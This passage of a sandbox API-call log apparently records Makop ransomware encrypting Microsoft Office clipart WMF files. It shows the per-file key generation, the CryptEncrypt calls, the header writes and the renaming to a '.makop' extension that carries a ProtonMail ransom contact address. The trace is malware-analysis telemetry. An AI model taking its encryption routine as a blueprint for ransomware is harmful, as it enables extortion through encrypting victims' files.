nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.801] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.802] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.804] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x270, lpOverlapped=0x0) returned 1 [0140.804] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x270, dwBufLen=0x270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x270) returned 1 [0140.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x270, lpOverlapped=0x0) returned 1 [0140.804] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.805] SetEndOfFile (hFile=0xf0) returned 1 [0140.813] GetProcessHeap () returned 0x48a0000 [0140.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.813] GetProcessHeap () returned 0x48a0000 [0140.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.815] CloseHandle (hObject=0xf0) returned 1 [0140.815] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1 [0140.816] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF") returned 63 [0140.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.817] GetProcessHeap () returned 0x48a0000 [0140.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.817] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.825] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.825] GetProcessHeap () returned 0x48a0000 [0140.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.825] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.825] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.825] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.826] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.827] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.827] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.827] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1138, lpOverlapped=0x0) returned 1 [0140.828] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1140, dwBufLen=0x1140 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1140) returned 1 [0140.828] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.829] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1140, lpOverlapped=0x0) returned 1 [0140.829] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.829] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.829] SetEndOfFile (hFile=0xf0) returned 1 [0140.836] GetProcessHeap () returned 0x48a0000 [0140.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.836] GetProcessHeap () returned 0x48a0000 [0140.836] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.836] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.838] CloseHandle (hObject=0xf0) returned 1 [0140.838] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1 [0140.838] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF") returned 63 [0140.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.839] GetProcessHeap () returned 0x48a0000 [0140.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.847] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.847] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.847] GetProcessHeap () returned 0x48a0000 [0140.847] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.848] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.848] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.849] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.849] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.849] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x10c8, lpOverlapped=0x0) returned 1 [0140.851] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10d0) returned 1 [0140.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.852] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10d0, lpOverlapped=0x0) returned 1 [0140.852] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.852] SetEndOfFile (hFile=0xf0) returned 1 [0140.860] GetProcessHeap () returned 0x48a0000 [0140.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.860] GetProcessHeap () returned 0x48a0000 [0140.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.860] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.871] CloseHandle (hObject=0xf0) returned 1 [0140.871] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa55a300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa55a300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01866_.WMF", cAlternateFileName="")) returned 1 [0140.871] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF") returned 63 [0140.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.906] GetProcessHeap () returned 0x48a0000 [0140.906] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.906] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.912] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.912] GetProcessHeap () returned 0x48a0000 [0140.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.913] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.913] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.914] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdb8, lpOverlapped=0x0) returned 1 [0140.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdc0) returned 1 [0140.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdc0, lpOverlapped=0x0) returned 1 [0140.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.915] SetEndOfFile (hFile=0xf0) returned 1 [0140.921] GetProcessHeap () returned 0x48a0000 [0140.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.921] GetProcessHeap () returned 0x48a0000 [0140.921] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.921] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01866_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01866_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.923] CloseHandle (hObject=0xf0) returned 1 [0140.923] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02009_.WMF", cAlternateFileName="")) returned 1 [0140.923] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 63 [0140.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.924] GetProcessHeap () returned 0x48a0000 [0140.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.925] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.925] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.925] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.925] GetProcessHeap () returned 0x48a0000 [0140.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.925] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: 